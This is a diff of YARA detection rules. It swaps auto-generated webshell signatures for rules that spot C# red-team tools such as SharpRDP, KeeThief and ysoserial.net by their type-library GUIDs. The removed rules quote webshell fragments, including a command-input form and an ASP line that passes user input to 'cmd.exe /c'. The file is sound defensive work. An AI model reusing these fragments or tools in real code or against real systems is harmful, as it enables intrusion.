+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "492dfb79-541a-589d-ac69-468e9b2ab9db"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/G0ldenGunSec/SharpSecDump"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3855-L3869"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "645e2df929b88526daec94f5b828235899fe0c86822960777664f11106b8da8c"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<td><input type=\"text\" name=\"command\" size=\"60\" value=\"<?=$_POST['command']?>"
+		$typelibguid0lo = "e2fdd6cc-9886-456c-9021-ee2c47cf67b7" ascii wide
+		$typelibguid0up = "E2FDD6CC-9886-456C-9021-EE2C47CF67B7" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Hytop2006_Rar_Folder_2006Z
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Net_Gpppassword : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file 2006Z.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bda89055-27f5-50b7-86a3-2c75a5f3eadc"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7523-L7535"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fd1b6129abd4ab177fed135e3b665488"
-		logic_hash = "4b427132541cd26ee47c387a98f6f46f86808f9a775068e1d114c9ef4abca9f6"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "a718f9fc-acf5-536e-81d6-d393cebe8f77"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/outflanknl/Net-GPPPassword"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3871-L3885"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "234f75bfcb9aee331f063bd7c1984a2696067400fde7a1938a4929cd809b1345"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "wangyong,czy,allen,lcx,Marcos,kEvin1986,myth"
-		$s8 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x"
+		$typelibguid0lo = "00fcf72c-d148-4dd0-9ca4-0181c4bd55c3" ascii wide
+		$typelibguid0up = "00FCF72C-D148-4DD0-9CA4-0181C4BD55C3" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Admin_Ad
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Filesearcher : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file admin-ad.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7d87b4f6-3227-53cb-803c-4f9c7327f203"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7536-L7548"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e6819b8f8ff2f1073f7d46a0b192f43b"
-		logic_hash = "0febd10979a959af73332a8e064a510e949109abf863b5fd0fef19b635968d1d"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "1b5f1f68-f87b-5e60-94a4-e2556b4e6c5d"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/NVISO-BE/FileSearcher"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3887-L3901"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "71492c6d4c1104cf47484556dc8ed1099348043102a4b7a9b1ffd180422078af"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s6 = "<td align=\"center\"> <input name=\"cmd\" type=\"text\" id=\"cmd\" siz"
-		$s7 = "Response.write\"<a href='\"&url&\"?path=\"&Request(\"oldpath\")&\"&attrib=\"&attrib&\"'><"
+		$typelibguid0lo = "2c879479-5027-4ce9-aaac-084db0e6d630" ascii wide
+		$typelibguid0up = "2C879479-5027-4CE9-AAAC-084DB0E6D630" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Casus15
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Adfsdump : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file casus15.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "305842e4-26ad-573d-8df3-e32e239e434b"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7549-L7560"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8d155b4239d922367af5d0a1b89533a3"
-		logic_hash = "58921290952f23ff5b828d8c92c818ebd91b726cdbbc9137b0f55a0e5ca90636"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "8cb2edcd-3696-5857-90ca-e99b1af54320"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/fireeye/ADFSDump"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3903-L3917"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5bf4c506a39a3ad33a19ab40ce85e6fb7c7efeab154444b14f008c22529b0779"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s6 = "if((is_dir(\"$deldir/$file\")) AND ($file!=\".\") AND ($file!=\"..\"))"
+		$typelibguid0lo = "9ee27d63-6ac9-4037-860b-44e91bae7f0d" ascii wide
+		$typelibguid0up = "9EE27D63-6AC9-4037-860B-44E91BAE7F0D" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_BIN_Client
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharprdp : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file Client.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "515ab1b3-7923-55de-8c19-71ef5d9b4366"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7561-L7577"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9f0a74ec81bc2f26f16c5c172b80eca7"
-		logic_hash = "e1277f6b7adc2e832a3aad96c7e44796596d2e61eb9247977da3c3569777e0b2"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d316ec0b-0313-52bb-923d-512fa08112f9"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/0xthirteen/SharpRDP"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3919-L3933"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c1a51c556c3416095764d3e053d82081409cdd672db05b8680a985ec52bd24b8"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "=====Remote Shell Closed====="
-		$s2 = "All Files(*.*)|*.*||"
-		$s6 = "WSAStartup Error!"
-		$s7 = "SHGetFileInfoA"
-		$s8 = "CreateThread False!"
-		$s9 = "Port Number Error"
+		$typelibguid0lo = "f1df1d0f-ff86-4106-97a8-f95aaf525c54" ascii wide
+		$typelibguid0up = "F1DF1D0F-FF86-4106-97A8-F95AAF525C54" ascii wide
 
 	condition:
-		4 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Shelltools_G0T_Root_Uptime
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcall : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file uptime.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4f649757-9502-5640-bc17-11cad6c779f4"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7578-L7593"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d1f56102bc5d3e2e37ab3ffa392073b9"
-		logic_hash = "5d91dda859a63a965250bd4d76565c6adf18e4ee306be3b91965e5d35bc521e8"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "172415b6-0383-5da4-a88f-8ebe5daf9294"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/jhalon/SharpCall"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3935-L3949"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7084ac8956827fff5baefb92e117e0c64f13ab8f77cb5d034c31d874a6297047"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "JDiamondCSlC~"
-		$s1 = "CharactQA"
-		$s2 = "$Info: This file is packed with the UPX executable packer $"
-		$s5 = "HandlereateConso"
-		$s7 = "ION\\System\\FloatingPo"
+		$typelibguid0lo = "c1b0a923-0f17-4bc8-ba0f-c87aff43e799" ascii wide
+		$typelibguid0up = "C1B0A923-0F17-4BC8-BA0F-C87AFF43E799" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Simple_PHP_Backdoor
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Ysoserial_Net : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file Simple_PHP_BackDooR.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bd7c19b9-e035-5e70-b626-1d210cadc055"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7594-L7607"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a401132363eecc3a1040774bec9cb24f"
-		logic_hash = "9739217c23f583452fbf1d7a8e20b2f1379ebf430e0a4fd73ad62e88d544670a"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "80483cd4-76e6-5629-bed7-4ae2e455222c"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/pwntester/ysoserial.net"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3951-L3967"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e423b73cd2dd2374a95ad0a36cd34d8d5b4d1085d708781857ea3893b31b22fb"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory he"
-		$s6 = "if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fn"
-		$s9 = "// a simple php backdoor"
+		$typelibguid0lo = "e1e8c029-f7cd-4bd1-952e-e819b41520f0" ascii wide
+		$typelibguid0up = "E1E8C029-F7CD-4BD1-952E-E819B41520F0" ascii wide
+		$typelibguid1lo = "6b40fde7-14ea-4f57-8b7b-cc2eb4a25e6c" ascii wide
+		$typelibguid1up = "6B40FDE7-14EA-4F57-8B7B-CC2EB4A25E6C" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Sig_2005Gray
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Managedinjection : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file 2005Gray.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "978fb04e-517d-51cf-98ca-5fd6b421365e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7608-L7622"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "75dbe3d3b70a5678225d3e2d78b604cc"
-		logic_hash = "927ed5cdaa14b6cd63a6ca7d7bec6635b69fa19d88808890e7d198fb7a0b57b4"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "c66e7666-b54f-532d-90e1-870292047aec"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/malcomvetter/ManagedInjection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3969-L3987"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "218fe8a52757def3c321668ecaaca3cb0966bad4e151083c08a98276abf71571"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "SCROLLBAR-FACE-COLOR: #e8e7e7;"
-		$s4 = "echo \"&nbsp;<a href=\"\"/\"&encodeForUrl(theHref,false)&\"\"\" target=_blank>\"&replace"
-		$s8 = "theHref=mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\"),2)"
-		$s9 = "SCROLLBAR-3DLIGHT-COLOR: #cccccc;"
+		$typelibguid0lo = "e5182bff-9562-40ff-b864-5a6b30c3b13b" ascii wide
+		$typelibguid0up = "E5182BFF-9562-40FF-B864-5A6B30C3B13B" ascii wide
+		$typelibguid1lo = "fdedde0d-e095-41c9-93fb-c2219ada55b1" ascii wide
+		$typelibguid1up = "FDEDDE0D-E095-41C9-93FB-C2219ADA55B1" ascii wide
+		$typelibguid2lo = "0dd00561-affc-4066-8c48-ce950788c3c8" ascii wide
+		$typelibguid2up = "0DD00561-AFFC-4066-8C48-CE950788C3C8" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Dllinjection
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsocks : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file DllInjection.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8a57e122-fd00-57f3-94db-736c5bfd76db"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7623-L7634"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a7b92283a5102886ab8aee2bc5c8d718"
-		logic_hash = "6e01ae1cc8a91a5e0d22bdf477aa72bf0116dbe31752a069b1e34d8a09ec6213"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "343061d9-e24e-5d49-939f-b94c295b17ac"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/nettitude/SharpSocks"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3989-L4005"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ef582f9ba7b49795886c69a48cf9ac11e86fb99c19463f0770f3e9c1e3e2e0c6"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\\BDoor\\DllInjecti"
+		$typelibguid0lo = "2f43992e-5703-4420-ad0b-17cb7d89c956" ascii wide
+		$typelibguid0up = "2F43992E-5703-4420-AD0B-17CB7D89C956" ascii wide
+		$typelibguid1lo = "86d10a34-c374-4de4-8e12-490e5e65ddff" ascii wide
+		$typelibguid1up = "86D10A34-C374-4DE4-8E12-490E5E65DDFF" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Mithril_V1_45_Mithril
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharp_Wmiexec : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file Mithril.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3c160017-0332-532a-bb7f-390a4a34dc4e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7635-L7647"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f1484f882dc381dde6eaa0b80ef64a07"
-		logic_hash = "a3e74bfb34762553eccaddd745d9e17dc3a5a25201e4bc9e2ea9a49342295c78"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "ae08a5a2-06d5-55fe-803a-7f4696220904"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/checkymander/Sharp-WMIExec"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4007-L4021"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c5f515ac8db4cca0b29b6d27ad27fa1d4215de48d4827c083f755e88671b87e0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "cress.exe"
-		$s7 = "\\Debug\\Mithril."
+		$typelibguid0lo = "0a63b0a1-7d1a-4b84-81c3-bbbfe9913029" ascii wide
+		$typelibguid0up = "0A63B0A1-7D1A-4B84-81C3-BBBFE9913029" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Hkshell_Hkrmv
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Keethief : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file hkrmv.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "986fad12-9198-5e0a-88d6-a9be6963ff8c"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7648-L7660"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bd3a0b7a6b5536f8d96f50956560e9bf"
-		logic_hash = "f1da0778456272e6d93633a564018bdf0fa74f1db1c9e963a03a59c69c752b6e"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "71fef0e9-223a-5834-9d1c-f3fb8b66a809"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/GhostPack/KeeThief"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4023-L4046"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "032f0453dc8e235b9326705c619929135cfc71840ab39669ae21c14b93568c75"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "/THUMBPOSITION7"
-		$s6 = "\\EvilBlade\\"
+		$typelibguid1lo = "39aa6f93-a1c9-497f-bad2-cc42a61d5710" ascii wide
+		$typelibguid1up = "39AA6F93-A1C9-497F-BAD2-CC42A61D5710" ascii wide
+		$typelibguid3lo = "3fca8012-3bad-41e4-91f4-534aa9a44f96" ascii wide
+		$typelibguid3up = "3FCA8012-3BAD-41E4-91F4-534AA9A44F96" ascii wide
+		$typelibguid4lo = "ea92f1e6-3f34-48f8-8b0a-f2bbc19220ef" ascii wide
+		$typelibguid4up = "EA92F1E6-3F34-48F8-8B0A-F2BBC19220EF" ascii wide
+		$typelibguid5lo = "c23b51c4-2475-4fc6-9b3a-27d0a2b99b0f" ascii wide
+		$typelibguid5up = "C23B51C4-2475-4FC6-9B3A-27D0A2B99B0F" ascii wide
+		$typelibguid7lo = "80ba63a4-7d41-40e9-a722-6dd58b28bf7e" ascii wide
+		$typelibguid7up = "80BA63A4-7D41-40E9-A722-6DD58B28BF7E" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_WEBSHELL_PHP_1
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Fakelogonscreen : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file phpshell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d0107af3-e484-54cf-a238-dd1e71efd3f6"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		old_rule_name = "phpshell"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7661-L7675"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1dccb1ea9f24ffbd085571c88585517b"
-		logic_hash = "eed450ae6668bbee01ea2689e9864f10a66714ec4c91afabb12609ad4ebdac8c"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "cc20290c-3f34-5e81-9337-c582f1ee7ade"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/bitsadmin/fakelogonscreen"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4048-L4062"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4f7f2c075860994b29a211b3cb30fa75b7b6e3ac60a68bbaa9ecf7e4467b4ed0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "echo \"<input size=\\\"100\\\" type=\\\"text\\\" name=\\\"newfile\\\" value=\\\"$inputfile\\\"><b"
-		$s2 = "$img[$id] = \"<img height=\\\"16\\\" width=\\\"16\\\" border=\\\"0\\\" src=\\\"$REMOTE_IMAGE_UR"
-		$s3 = "$file = str_replace(\"\\\\\", \"/\", str_replace(\"//\", \"/\", str_replace(\"\\\\\\\\\", \"\\\\\", "
+		$typelibguid0lo = "d35a55bd-3189-498b-b72f-dc798172e505" ascii wide
+		$typelibguid0up = "D35A55BD-3189-498B-B72F-DC798172E505" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Cmd
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Poshsecframework : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file cmd.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f7a74f21-aec9-5ee7-a80e-0fe34b977a71"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7676-L7688"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cbe8e365d41dd3cd8e462ca434cf385f"
-		logic_hash = "43f3379a57210f0e3b70575313115a7ba3d71359de7c5ac9a6a178b93af3545e"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "a91620f3-3f21-525a-bc87-94d21cd126be"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/PoshSec/PoshSecFramework"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4064-L4080"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e0a35f5fc7a4c4ae8f09c7d4833faf55061984f9a7a920ec4219f04381f2053a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>"
-		$s1 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)"
+		$typelibguid0lo = "b1ac6aa0-2f1a-4696-bf4b-0e41cf2f4b6b" ascii wide
+		$typelibguid0up = "B1AC6AA0-2F1A-4696-BF4B-0E41CF2F4B6B" ascii wide
+		$typelibguid1lo = "78bfcfc2-ef1c-4514-bce6-934b251666d2" ascii wide
